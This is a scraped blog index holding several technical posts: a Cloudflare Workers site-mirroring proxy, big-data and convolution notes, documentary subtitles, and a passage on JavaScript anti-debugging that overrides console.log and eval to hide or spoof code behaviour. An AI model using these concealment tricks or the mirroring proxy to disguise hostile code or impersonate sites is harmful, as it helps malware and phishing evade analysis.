new_response_headers.get('content-type'); if (content_type.includes('text/html') && content_type.includes('UTF-8')) { original_text = await replace_response_text(original_response_clone, upstream_domain, url_host); } else { original_text = original_response_clone.body } response = new Response(original_text, { status, headers: new_response_headers }) } return response;} async function replace_response_text(response, upstream_domain, host_name) { let text = await response.text() var i, j; for (i in replace_dict) { j = replace_dict[i] if (i == '$upstream') { i = upstream_domain } else if (i == '$custom_domain') { i = host_name } if (j == '$upstream') { j = upstream_domain } else if (j == '$custom_domain') { j = host_name } let re = new RegExp(i, 'g') text = text.replace(re, j); } return text;} async function device_status (user_agent_info) { var agents = [\"Android\", \"iPhone\", \"SymbianOS\", \"Windows Phone\", \"iPad\", \"iPod\"]; var flag = true; for (var v = 0; v < agents.length; v++) { if (user_agent_info.indexOf(agents[v]) > 0) { flag = false; break; } } return flag;}Cloudflare workers blogcloudflare-worker-blog一个在 Github 上的开源实例，████████████████████████████████████████████████████████████████████████████████████Cloudflare workers + Github 实现的动态博客系统█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████。。jsproxyjsproxy 一个基于浏览器端 JS 实现的在线代理，█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████。项目主要用于以下技术的研究：网站镜像 / 沙盒化钓鱼网站检测技术前端资源访问加速█████████████████████████████，否则█████████████。加速 Google Analyticscloudflare-workers-async-google-analyticsThe Cloudflare Workers implementation of an async Google Analytics.██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████。以上代码，请勿将其用于非法用途，否则后果自负。 严禁未经授权的人员进行访问肇事者将被监控，定位并处理","categories":[{"name":"边缘计算","slug":"边缘计算","permalink":"https://blog.mhuig.top/categories/%E8%BE%B9%E7%BC%98%E8%AE%A1%E7%AE%97/"}],"tags":[{"name":"开发技术","slug":"开发技术","permalink":"https://blog.mhuig.top/tags/%E5%BC%80%E5%8F%91%E6%8A%80%E6%9C%AF/"}]},{"title":"","slug":"notes/Spark","date":"2020-05-06T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-spark/","permalink":"https://blog.mhuig.top/p/notes-spark/","excerpt":".fa-secondary{opacity:.4} Spark 开始阅读","text":".fa-secondary{opacity:.4} Spark 开始阅读 Spark","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Spark","slug":"大数据/Spark","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Spark/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"","slug":"notes/Ubuntu","date":"2020-05-05T23:56:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-ubuntu/","permalink":"https://blog.mhuig.top/p/notes-ubuntu/","excerpt":"Ubuntu 开始阅读","text":"Ubuntu 开始阅读 Ubuntu","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Ubuntu","slug":"操作系统/Ubuntu","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Ubuntu/"}],"tags":[{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"},{"name":"Linux","slug":"Linux","permalink":"https://blog.mhuig.top/tags/Linux/"}]},{"title":"Travellings 开往下一个地方","slug":"pen/Travellings开往下一个地方","date":"2020-05-04T11:47:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/4bd2472f/","permalink":"https://blog.mhuig.top/p/4bd2472f/","excerpt":"","text":"互联网将人与人之间的距离大大减小，却还是形成了大大小小的孤岛。只有熟人间才知道彼此，而陌生人永远只能是陌生人。 什么是开往 - 友链接力开往 - 友链助力是传统友链的增强，我们不必互相知道了解彼此，标准的审查让友好的朋友加入我们，只需要一个徽标，占用一块位置，我们所有人都联系在了一起，简单而又强大。 开往 - 友链接力 旅行愉快日常大家可以点击 banner 或者 footer 栏中的 “Travellings” 图标去参观其他博主的博客，祝大家旅行愉快。 站台这里是下一站的站台，来场星际旅行吧~。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"札记","slug":"札记","permalink":"https://blog.mhuig.top/tags/%E6%9C%AD%E8%AE%B0/"}]},{"title":"哈勃望远镜在你生日那天看到了啥","slug":"pen/哈勃望远镜在你生日那天看到了啥","date":"2020-05-04T08:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/6af346a8/","permalink":"https://blog.mhuig.top/p/6af346a8/","excerpt":"","text":"About1990 年，NASA 将哈勃望远镜送进太空。多年来哈勃望远镜一直在探索宇宙，拍摄了许多珍贵的图像。 2020 年是哈勃望远镜服役的第 30 年，为此 NASA 公开了哈勃望远镜拍摄的 366 张珍贵图像。 哈勃望远镜每周 7 天，每天 24 小时不间断地探索宇宙。 这意味着它在一年中的每一天都观察到了一些迷人的宇宙奇观。 What did Hubble look at on your birthday? 可以在 NASA 网站 中输入月份和日期来查找。 What Did Hubble See on Your Birthday?大图警告 点击查看","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"星空","slug":"星空","permalink":"https://blog.mhuig.top/tags/%E6%98%9F%E7%A9%BA/"}]},{"title":"大数据技术概述","slug":"bigdata/大数据技术概述","date":"2020-05-01T00:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/376025fe/","permalink":"https://blog.mhuig.top/p/376025fe/","excerpt":"","text":"大数据时代 第三次信息化浪潮根据 IBM 前首席执行官郭士纳的观点，IT 领域每隔十五年就会迎来一次重大变革 信息化浪潮 发生时间 标志 解决问题 代表企业 第一次浪潮 1980 年前后 个人计算机 信息处理 Intel、AMD、IBM、苹果、微软、联想、戴尔、惠普等 第二次浪潮 1995 年前后 互联网 信息传输 雅虎、谷歌、阿里巴巴、百度、腾讯等 第三次浪潮 2010 年前后 物联网、云计算和大数据 信息爆炸 将涌现出一批新的市场标杆企业 信息科技为大数据时代提供技术支撑 存储设备容量不断增加 CPU 处理能力大幅提升 网络带宽不断增加 数据产生方式的变革促成大数据时代的来临 大数据的特征及数据科学面临的挑战 大数据概念 数据量大 数据类型繁多 处理速度快 价值密度低 大数据的影响图灵奖获得者、著名数据库专家 Jim Gray 博士观察并总结人类自古以来，在科学研究上，先后历经了实验、理论、计算和数据四种范式 在思维方式方面，大数据完全颠覆了传统的思维方式： 全样而非抽样 效率而非精确 相关而非因果 大数据关键技术 技术层面 功能 数据采集 利用 ETL 工具将分布的、异构数据源中的数据如关系数据、平面数据文件等，抽取到临时中间层后进行清洗、转换、集成，最后加载到数据仓库或数据集市中，成为联机分析处理、数据挖掘的基础；或者也可以把实时采集的数据作为流计算系统的输入，进行实时处理分析 数据存储和管理 利用分布式文件系统、数据仓库、关系数据库、NoSQL 数据库、云数据库等，实现对结构化、半结构化和非结构化海量数据的存储和管理 数据处理与分析 利用分布式并行编程模型和计算框架，结合机器学习和数据挖掘算法，实现对海量数据的处理和分析；对分析结果进行可视化呈现，帮助人们更好地理解数据、分析数据 数据隐私和安全 在从大数据中挖掘潜在的巨大商业价值和学术价值的同时，构建隐私数据保护体系和数据安全体系，有效保护个人隐私和数据安全 两大核心技术 大数据计算模式 代表性大数据技术Hadoop Hadoop—MapReduce MapReduce 将复杂的、运行于大规模集群上的并行计算过程高度地抽象到了两个函数：Map 和 Reduce 编程容易，不需要掌握分布式并行编程细节，也可以很容易把自己的程序运行在分布式系统上，完成海量数据的计算 MapReduce 采用 “分而治之” 策略，一个存储在分布式文件系统中的大规模数据集，会被切分成许多独立的分片（split），这些分片可以被多个 Map 任务并行处理 Hadoop—YARNYARN 的目标就是实现 “一个集群多个框架”，为什么？ 一个企业当中同时存在各种不同的业务应用场景，需要采用不同的计算框架 MapReduce 实现离线批处理 使用 Impala 实现实时交互式查询分析 使用 Storm 实现流式数据实时分析 使用 Spark 实现迭代计算 这些产品通常来自不同的开发团队，具有各自的资源调度管理机制为了避免不同类型应用之间互相干扰，企业就需要把内部的服务器拆分成多个集群，分别安装运行不同的计算框架，即 “一个框架一个集群” 导致问题 集群资源利用率低 数据无法共享 维护代价高 YARN 的目标就是实现 “一个集群多个框架”，即在一个集群上部署一个统一的资源调度管理框架 YARN，在 YARN 之上可以部署其他各种计算框架由 YARN 为这些计算框架提供统一的资源调度管理服务，并且能够根据各种计算框架的负载需求，调整各自占用的资源，实现集群资源共享和资源弹性收缩可以实现一个集群上的不同应用负载混搭，有效提高了集群的利用率不同计算框架可以共享底层存储，避免了数据集跨集群移动 Spark Flink Beam","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"概述","slug":"大数据/概述","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/%E6%A6%82%E8%BF%B0/"}],"tags":[{"name":"BigData","slug":"BigData","permalink":"https://blog.mhuig.top/tags/BigData/"}]},{"title":"Mac Code 代码块全屏","slug":"Test/MacCodeTest","date":"2020-04-30T06:06:00.000Z","updated":"2025-11-21T00:22:00.000Z","comments":true,"path":"p/91953e39/","permalink":"https://blog.mhuig.top/p/91953e39/","excerpt":"","text":"本项测试可能已失效 代码块全屏测试 How To Use? 导入库文件即可 (写于 2020 年需要 jquery)<link rel='stylesheet' href='https://cdn.jsdelivr.net/gh/MHuiG/blog-cdn@1.1.12/css/me.css'><script src='https://cdn.jsdelivr.net/gh/MHuiG/blog-cdn@1.1.12/js/me.js'></script>去除 jquery 原生 js 版本 (2025 年 11 月)：js code// 获取所有figcaption元素并添加点击事件监听document.querySelectorAll('figcaption').forEach(figcaption => { figcaption.addEventListener('click', function() { // 切换全屏状态标志 const isFullscreen = !window.CodeBlockFullscreen; window.CodeBlockFullscreen = isFullscreen; // 获取相关DOM元素 const postElement = document.getElementById('post') || document.getElementById('docs') || document.getElementById('page'); if(!postElement) return; const parentElement = this.parentElement; const grandParentElement = parentElement.parentElement; const htmlElement = document.documentElement; const gutterElements = document.querySelectorAll('.highlight > table .gutter'); // 为元素添加/移除全屏相关类 postElement.classList.toggle('code-block-fullscreen', isFullscreen); parentElement.classList.toggle('code-block-fullscreen', isFullscreen); grandParentElement.classList.toggle('code-block-fullscreen', isFullscreen); parentElement.classList.toggle('code-block-fullscreen-overflow-auto', isFullscreen); htmlElement.classList.toggle('code-block-fullscreen-html-scroll', isFullscreen); // 处理多个gutter元素 gutterElements.forEach(gutter => { gutter.classList.toggle('code-block-fullscreen-gutter', isFullscreen); }); });});css code/*code-block-fullscreen*/.code-block-fullscreen { position:fixed !important; top:0 !important; left:0 !important; width:100% !important; height:100% !important; min-width:100% !important; z-index:9999999 !important; margin:0 !important; animation:elastic 3s !important;}.code-block-fullscreen-html-scroll { overflow:hidden;}.code-block-fullscreen-overflow-auto { overflow:auto;}.code-block-fullscreen-gutter { height: calc(97vh) !important; padding: 16px 12px !important; vertical-align: top !important;} cpp code#include <iostream>using namespace std; int main() { cout << \"Hello, World!\"; return 0;} python code#!/usr/bin/pythonprint (\"Hello, Python!\") code#include <cstdio>#include <iostream>#include <vector>using namespace std;const int SIZE = 5e6 + 1;struct edge{ int to_node, id; edge(int t, int i): to_node(t), id(i) {} ~edge() = default;};vector<int> edges[SIZE];vector<edge> querys[SIZE];int father[SIZE], mark[SIZE], ans[SIZE];int n, m, s;int getfa(int x){ if (father[x] == x) return x; else return father[x] = getfa(father[x]);}void tarjan(int x){ mark[x] = 1; for (auto i = edges[x].begin(); i != edges[x].end(); i++) { if (mark[*i]) continue; tarjan(*i); father[*i] = x; } for (auto i = querys[x].begin(); i != querys[x].end(); i++) { int y = (*i).to_node, id = (*i).id; if (mark[y] == 2) ans[id] = getfa(y); } mark[x] = 2;}int main(){ int u, v; scanf(\"%d%d%d\", &n, &m, &s); for (int i = 1; i <= n; i++) { father[i] = i; mark[i] = 0; } for (int i = 1; i < n; i++) { scanf(\"%d%d\", &u, &v); edges[u].emplace_back(v); edges[v].emplace_back(u); } int x, y; for (int i = 1; i <= m; i++) { scanf(\"%d%d\", &x, &y); if (x == y) ans[i] = 0; else { querys[x].emplace_back(edge(y, i)); querys[y].emplace_back(edge(x, i)); } } tarjan(s); for (int i = 1; i <= m; i++) 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WriteHtml(); function getScrollTop() { var scrollPos; if (window.pageYOffset) { scrollPos = window.pageYOffset; } else if (document.compatMode && document.compatMode != 'BackCompat') { scrollPos = document.documentElement.scrollTop; } else if (document.body) { scrollPos = document.body.scrollTop; } return scrollPos; } function WriteHtmlListener(){ var scrollTop = getScrollTop(); var scrollHeight = document.documentElement.scrollHeight var windowHeight = window.innerHeight; if(scrollTop + windowHeight > scrollHeight - 2000){ WriteHtml() } } window.addEventListener(\"scroll\",WriteHtmlListener,false) volantis.EventListener.list.push(new volantisEventListener(\"scroll\",WriteHtmlListener,window)) // $(window).scroll(function(){ // var scrollTop = $(this).scrollTop(); // var scrollHeight = $(document).height(); // var windowHeight = $(this).height(); // if(scrollTop + windowHeight > scrollHeight - 2000){ // WriteHtml() // } // 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death and rebirth. 太阳的命运也是所有恒星的命运 The fate of the sun is the same as for all starts. 终有一天   他们都会消亡 One day, they must all eventually die 宇宙将会陷入永无止境的黑暗之中 and the cosmos will be plunged into eternal night. 这便是时间箭头最深远的影响 And this is the most profound consequence of the arrow of time. 我刚用相机捕捉到的 The light that I've just captured 这个光点二百五十万年前踏上了旅程 in my camera began its journey 2.5 million years ago. 那时地球上还没有人类 At that time, on Earth, there were no humans. 远古的祖先能人 Homo habilis, our distant ancestors, 正在非洲广袤的平原上漫步 wereroaming the plaints of Africa, 就是在那些光线 and as those light rays travelled 平行于无垠宇宙的同时 through the vastness of space. 人类不断进化 our species evolved,and thousands 一代又一代的生老病死 and thousands and thousands of qenerations of humans lived 周而复始 and died, 旅途开始的二百五十万年后 and then 2.5 million years after their journey began, 这些远道而来的信使 these messengers from the depths of space 穿越漫长的时间 and from way back in our past, 映入现在我们的眼帘 arrived here on Earth. 我们与那些遥远星系息息相关 we are in a very real sense connected to these qalaxies, 无论它们是如何与我们天各一方 no matter how far away they are across the universe, 那些经历过数十亿年旅行到达地球的光线 connected by the light 终究会把我们联系在一起 that's journeved billions of ears to reach us. “生星时代” The Stelliferous Era - 恒星漫天的时代 the age of the starts. 我们的太阳只是银河系两千亿颗恒星中的一颗 Our sun is just one of 200 billion starts in our qalaxy. 我们的星系也只是可观测的宇宙范围内的 Our qalaxy is one of 100 bllion 一百亿个星系中的一个 in the observable universe. 数不尽的星球上有数不胜数的岛屿 And countless islands of countless stars. 当我们注意太空的时候 When we look out into space, 我们也是在寻找自己的起源 we are looking into our own origins. 我们的故事就是宇宙的故事 Our story is the story of the universe. 因为我们是恒星真正的孩子 Beacuse we are truly children of the starts. 注入进我们的身体的 and written into every atom 每一个原子和分子 and every molecule of our bodies 就是宇宙从大爆炸 is the entire history of the universe 到现在全部的历史 from the Big Bang to the present day. 对我们来说   像婚戒黄金一样的珍宝 It's quite a thought that something as 实际上也可以在一颗遥远的   数百万光年 precious to us as the gold in a wedding ring was 甚至数十亿光年远的恒星上产生actually forged in the death of a distant star. 从宇宙起源到最后一个黑洞消失的这个过程中 as measured from its beainning to the evappration of the last black hole. 生命 正如我们所知life as we konw it, is only possible 只有百分之千亿分之for one thousandth of a billion billion billionth 千亿分之千分之一的可能性billion billion billionth billion billion billionth of a percent. 所以对于我来说 And that's why for me 宇宙中最迷人的奇迹不是恒星 the most astonishing wonder of the universe isn't a star 不是行星   也不是星系 or a planet or a galaxy 甚至根本不是一个物质 It isn't a thing at all 而是时间里的一瞬间 It's an instant in time 那个瞬间   就是现在 And that time is now. 当我们仰望天空 You see, when we look up into the sky, 望向遥远的恒星和星系时 at distant starts and galaxies, 我们其实是在仰望过去 then we're looking back in time 因为光从那些遥远天体到达地球需要时间 because the light takes time to journey from them to us. 而光从那个红点处传播到我们这里 And the light from that red dot has been travelling to us 差不多经历了整个宇宙史 for almost the entire history of the universe. 我们看到的是一百三十亿年前 You see, what we're looking at here is an event that happened 发生的事件 13 billion years ago. 我们看到的是宇宙初期的一颗恒星 What we're looking at here is the explosive death 爆炸灭亡的景象 of one of the first starts in the universe. 一日为二十四个小时 A day on Earth is the 24 hours 即地球绕轴自转一周 it takes our planet to rotate once on its axis. 一月为二十九天半 Our months are based on the 29-and-a-half days 即月亮在夜空完成盈亏圆缺 it takes the moon to wax and wane in the night sky. 一年为三百六十五天又四分之一天 And a year is the 365-and-a-quarter days 即地球绕太阳公转一周 it takes us to orbit once around the sun. 人类的生命便消逝在这些熟悉的时间量程之内 These familiar timescales mark the passing of our lives. 这是宇宙无法避免的真相 It's an inescapable fact of the universe, 也被写入了物理学基本定律 written into the fundamental laws of physics, 整个宇宙将消亡 The entire cosmos will die, 银河系中的两千亿恒星将全部消亡 Every single one of the 200 billion starts in our galaxy will go out. 如同太阳末日   便是地球末日 And just as the death of the sun means the end of life on our planet, 每一颗恒星的灭亡 so the death of every star 都可能预示着宇宙中其他某种生命的灭亡 will extinguish any possibility of life in the universe. 永恒的变化是人类生命中最基本的部分 Permanent change is a fundamental part of what it means to be human. 随着时间流逝   我们都会变老We all age as the years pass by. 人们出生   成长   死亡People are born, they live, they die. 我想这只是生命中悲悲喜喜的一部分I suppose it's part of the joy and tragedy of our lives. 但纵观宇宙But out there in the universe, 那些宏伟的如史诗般的循环好像永恒不变those grand and epic cycles appear eternal and unchanging. 然而这只是错觉But that's an illlusion. 宇宙长河就如同我们的生命一样You see, in the life of the universe, just in our lives, 一切都在不可逆转地变化everything is irreversibly changing. 我们从没见过浪花离开过湖面We never see waves travelling across lakes. 聚集在一起   组成巨大的冰块重回冰川coming together and bouncing chunks of ice back onto glaciers. 我们被迫前往将来We are compelled to travel into the future. 那是因为And that's because 时间箭头规定   随着时间流逝the arrow of time dictates that as each moment passes, 万物也在发生变化things change. 变化一旦发生   就无法更改And once these changes have happend, they are never undone. 这些循环看似永恒不变These cycles seem eternal and unchanging, 但随着时间之书徐徐展开but as the story of time unfolds, 一条真理跃然眼前afundamental truth is revealed. 没有什么能够永恒Nothing lates forever.","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"星空","slug":"星空","permalink":"https://blog.mhuig.top/tags/%E6%98%9F%E7%A9%BA/"}]},{"title":"Hello World","slug":"pen/Hello World","date":"2020-04-19T06:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/4a17b156/","permalink":"https://blog.mhuig.top/p/4a17b156/","excerpt":"你好，世界！","text":"你好，世界！ 全新的主题，熟悉的代码，怎能不再次心动？ 这是 MHuiG 的又一个博客！ 原博客数据不再迁移此处，将其作为该博客的子站我的 NoteBook: https://mhuig.github.io/NoteBook/ 后注: 原博客数据已迁移此处 【NoteBook 已闭源】","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"札记","slug":"札记","permalink":"https://blog.mhuig.top/tags/%E6%9C%AD%E8%AE%B0/"}]},{"title":"理解卷积","slug":"ml/理解卷积","date":"2020-03-09T12:05:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/xa6297acc/","permalink":"https://blog.mhuig.top/p/xa6297acc/","excerpt":"","text":"本文的目的是深入的理解卷积, 通过一些示例, 卷积将会成为一个非常简单的想法. 抛球的经验想象一下，我们将一个球从某个高度掉落到地面上，球在该地面只能在一个方向上运动, 如果您将球放下然后从其着陆点上方再次放下, 球可能会前进的距离是多少? 让我们分解一下。在第一次下落之后，它将以概率降落距起点个单位，其中是概率分布。 现在，在第一次下落之后，我们将球捡起并从其首次着陆点上方的另一个高度下落。球从新起点滚动单位的概率为,其中如果从不同高度掉落，则可能是不同的概率分布。 如果我们确定了第一个的结果，我们就知道了球的移动距离，对于球的总距离为，第二个球的移动距离也固定为，其中 。因此发生这种情况的可能性就是 。 让我们考虑一个具体的离散示例。 我们希望总距离为。如果它第一次滚动 ，则第二次它必须滚动 ,才能达到我们的总距离 。 这个概率是 。 但是，这不是我们达到的总距离的唯一方法。球第一次可以滚动个单位，第二次可以滚动个单位。 或第一次为，第二次为。 只要将和加和等于，它就可以取任意值。 这个概率分别是 和 。 为了找出球到达总距离的总可能性，我们不能仅考虑一种到达的可能方式。 相反，我们考虑将划分为两个球和的所有可能方法，并对每种方法的概率求和。 我们已经知道，对于每种情况， 的概率就是 。 因此，对 的每个解求和，我们可以将总似然表示为： 事实证明，我们正在做卷积! 特别地，定义在处的和的卷积定义为： 如果我们用 代替，我们得到： 这是卷积的标准定义。 为了更具体一点，我们可以考虑球可能着陆的位置。 在第一次下降之后，它将以概率降落在中间位置。 如果它降落在处，则它有概率 降落在位置处。 为了得到卷积，我们考虑所有中间位置。 可视化卷积有一个很好的技巧，可以帮助人们更轻松地思考卷积。 首先，观察。 假设一个球从其起点降落一定距离的概率为。 然后，此后，它从着陆点开始的距离为的概率为 。 如果我们知道球在第二次下降后落在位置上，那么前一个位置是的概率是多少？ 因此，先前位置为的概率为 。 现在，考虑每个中间位置有助于球最终降落在的概率。 我们知道第一滴将球放到中间位置的概率是。 我们还知道，如果它降落在上，它进入的概率为 。 对所有求和，我们得到了卷积。 这种方法的优点是，它使我们可以在单个图片中可视化卷积在值处的评估。 通过移动下半部分，我们可以评估其他值的卷积。 这使我们能够从整体上理解卷积。 例如，我们可以看到分布对齐时达到峰值。 且随着分布之间的交点变小而缩小。 过在动画中使用此技巧，实际上可以从视觉上理解卷积。 下面，我们可以看到两个框函数的卷积： 有了这种观点，很多事情就会变得更加直观。 让我们考虑一个非概率示例。 卷积有时在音频处理中使用。 例如，一个函数可能会使用其中有两个尖峰但在其他所有地方为零的函数来创建回波。 当我们的双尖峰功能滑动时，一个尖峰首先击中一个时间点，将该信号添加到输出声音中，然后又出现另一个尖峰，并添加第二个延迟副本。 高维卷积卷积是一个非常笼统的想法。我们还可以将它们用于更大的尺寸。 让我们再次考虑一个落球的例子。现在，随着位置的下降，它的位置不仅在一维，而在二维。 卷积与以前相同： 但是，现在，和是向量。更明确地说， 或在标准定义中： 就像一维卷积一样，我们可以将二维卷积视为将一个函数滑动到另一个函数之上，相乘和相加。 一种常见的应用是图像处理。我们可以将图像视为二维函数。许多重要的图像转换都是卷积，您可以在其中将图像函数与一个非常小的局部函数（称为 “卷积核”）进行卷积。 卷积核滑动到图像的每个位置，并计算一个新像素作为其浮动像素的加权和。 例如，通过平均 3x3 像素矩阵，我们可以使图像模糊。 为此，我们的内核在框中的每个像素上取值， 我们还可以通过在两个相邻像素上取值和，在其他所有位置取零来检测边缘。 也就是说，我们减去两个相邻像素。 当并排像素相似时，这大约等于零。 然而，在边缘上，相邻像素在垂直于边缘的方向上有很大不同。 卷积神经网络那么，卷积与卷积神经网络有何关系？ 考虑一个具有输入和输出的一维卷积层，就像这样： 正如我们观察到的，我们可以用输入来描述输出： 通常，A 将是多个神经元。 但是假设它只是一个神经元。 回想一下，神经网络中的典型神经元描述为： 其中，是输入。 权重，描述了神经元如何连接到其输入。 负权重表示输入抑制神经元的激活，而正权重则鼓励神经元激活。 权重是神经元的心脏，控制神经元的行为。说多个神经元是相同的，这与说权重相同是一回事。 卷积将为我们处理的是神经元的这种连线，描述了所有权重以及哪些权重相同。 通常，我们一次而不是单独描述一个层中的所有神经元。 诀窍是要有一个权重矩阵： 例如，我们得到： 矩阵的每一行都描述了将神经元连接到其输入的权重。 但是，返回到卷积层，因为同一神经元有多个副本，所以许多权重出现在多个位置。 对应于等式： 因此，通常，权重矩阵会将每个输入连接到具有不同权重的每个神经元： 像上面的卷积层的矩阵看起来很不一样。 相同的权重出现在多个位置中。 而且由于神经元没有连接到许多可能的输入，因此存在很多零。 与上述矩阵相乘与与，，卷积相同。 滑动到不同位置的功能对应于在那些位置具有神经元。 二维卷积层呢？ 二维卷积层的布线对应于二维卷积。 考虑上面的示例，通过使用卷积来检测图像边缘，方法是在周围滑动一个内核并将其应用于每个面片。 就像这样，卷积层会将神经元应用于图像的每个 patch。 结论我们在此博客文章中介绍了许多数学机制，但是获得的结果可能并不明显。 卷积显然是概率论和计算机图形学中的有用工具，但是从卷积的角度说卷积神经网络有什么好处呢？ 第一个优点是我们拥有一些非常强大的语言来描述网络的布线。 到目前为止，我们所处理的示例还不够复杂，以至于无法清楚地看到这种好处，但是通过卷积可以使我们摆脱大量令人不快的簿记工作。 其次，卷积具有明显的实施优势。 许多库提供高效的卷积例程。 此外，尽管卷积天真地看起来是运算，但使用一些相当深的数学见解，就有可能创建实现。 我们将在以后的文章中对此进行更详细的讨论。 实际上，在 GPU 上使用高效并行卷积实现对于计算机视觉的最新进展至关重要。 参考文献[English] Understanding Convolutions","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"},{"name":"概率","slug":"数学/概率","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"神经网络","slug":"神经网络","permalink":"https://blog.mhuig.top/tags/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/"}]},{"title":"JavaScript 反调试","slug":"web/JavaScript反调试","date":"2020-02-26T02:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/bfe2ff2a/","permalink":"https://blog.mhuig.top/p/bfe2ff2a/","excerpt":"总结一下关于 JavaScript 反调试技巧方面的内容。本文的目的是收集与 JavaScript 中的反调试有关的小窍门（其中一些已经被恶意软件或商业产品使用）。","text":"总结一下关于 JavaScript 反调试技巧方面的内容。本文的目的是收集与 JavaScript 中的反调试有关的小窍门（其中一些已经被恶意软件或商业产品使用）。 对于 JavaScript 来说，你只需要花一点时间进行调试和分析，你就能够了解到 JavaScript 代码段的功能逻辑。而我们所要讨论的内容，可以给那些想要分析你 JavaScript 代码的人增加一定的难度。不过我们的技术跟代码混淆无关，我们主要针对的是如何给代码主动调试增加困难。 本文所要介绍的技术方法大致如下： 检测未知的执行环境（我们的代码只想在浏览器中被执行）； 检测调试工具（例如 DevTools）； 代码完整性控制； 流完整性控制； 反模拟； 简而言之，如果我们检测到了 “不正常” 的情况，程序的运行流程将会改变，并跳转到伪造的代码块，并 “隐藏” 真正的功能代码。 函数重定义这是一种最基本也是最常用的代码反调试技术了。在 JavaScript 中，我们可以对用于收集信息的函数进行重定义。比如说，console.log() 函数可以用来收集函数和变量等信息，并将其显示在控制台中。如果我们重新定义了这个函数，我们就可以修改它的行为，并隐藏特定信息或显示伪造的信息。我们可以直接在 DevTools 中运行这个函数来了解其功能： console.log(\"HelloWorld\");var fake = function() {};window['console']['log']= fake;console.log(\"Youcan't see me!\"); 运行后我们将会看到： VM127:1 HelloWorld 你会发现第二条信息并没有显示，因为我们重新定义了这个函数，即 “禁用” 了它原本的功能。但是我们也可以让它显示伪造的信息。比如说这样： console.log(\"Normalfunction\");//First we save a reference to the original console.log functionvar original = window['console']['log'];//Next we create our fake function//Basicly we check the argument and if match we call original function with otherparam.// If there is no match pass the argument to the original functionvar fake = function(argument) { if (argument === \"Ka0labs\") { original(\"Spoofed!\"); } else { original(argument); }}// We redefine now console.log as our fake functionwindow['console']['log']= fake;//Then we call console.log with any argumentconsole.log(\"Thisis unaltered\");//Now we should see other text in console different to \"Ka0labs\"console.log(\"Ka0labs\");//Aaaand everything still OKconsole.log(\"Byebye!\"); 如果一切正常的话： VM84:1 NormalfunctionVM84:11 Thisis unalteredVM84:9 Spoofed!VM84:11 Byebye! 实际上，为了控制代码的执行方式，我们还能够以更加聪明的方式来修改函数的功能。比如说，我们可以基于上述代码来构建一个代码段，并重定义 eval 函数。我们可以把 JavaScript 代码传递给 eval 函数，接下来代码将会被计算并执行。如果我们重定义了这个函数，我们就可以运行不同的代码了： //Just a normal evaleval(\"console.log('1337')\");//Now we repat the process...var original = eval;var fake = function(argument) { // If the code to be evaluated contains1337... if (argument.indexOf(\"1337\") !==-1) { // ... we just execute a different code original(\"for (i = 0; i < 10;i++) { console.log(i);}\"); } else { original(argument); }}eval= fake;eval(\"console.log('Weshould see this...')\");//Now we should see the execution of a for loop instead of what is expectedeval(\"console.log('Too1337 for you!')\"); 运行结果如下： VM171:1 1337VM172:1 Weshould see this...VM173:1 0VM173:1 1VM173:1 2VM173:1 3VM173:1 4VM173:1 5VM173:1 6VM173:1 7VM173:1 8VM173:1 9   通过这种方式修改程序流是一个很酷的技巧，但是正如我们在一开始所说的那样，它是最基本的技巧，很容易被发现并被击败。这是因为在 JavaScript 中，每个函数都有一个方法 toString（或 Firefox 中的 toSource）返回其自己的代码。因此，仅需要检查所需函数的代码是否已更改。当然，我们可以重新定义方法 toString / toSource，但是我们陷入了同样的情况：function.toString.toString() 。 断点为了帮助我们了解代码的功能，JavaScript 调试工具（例如 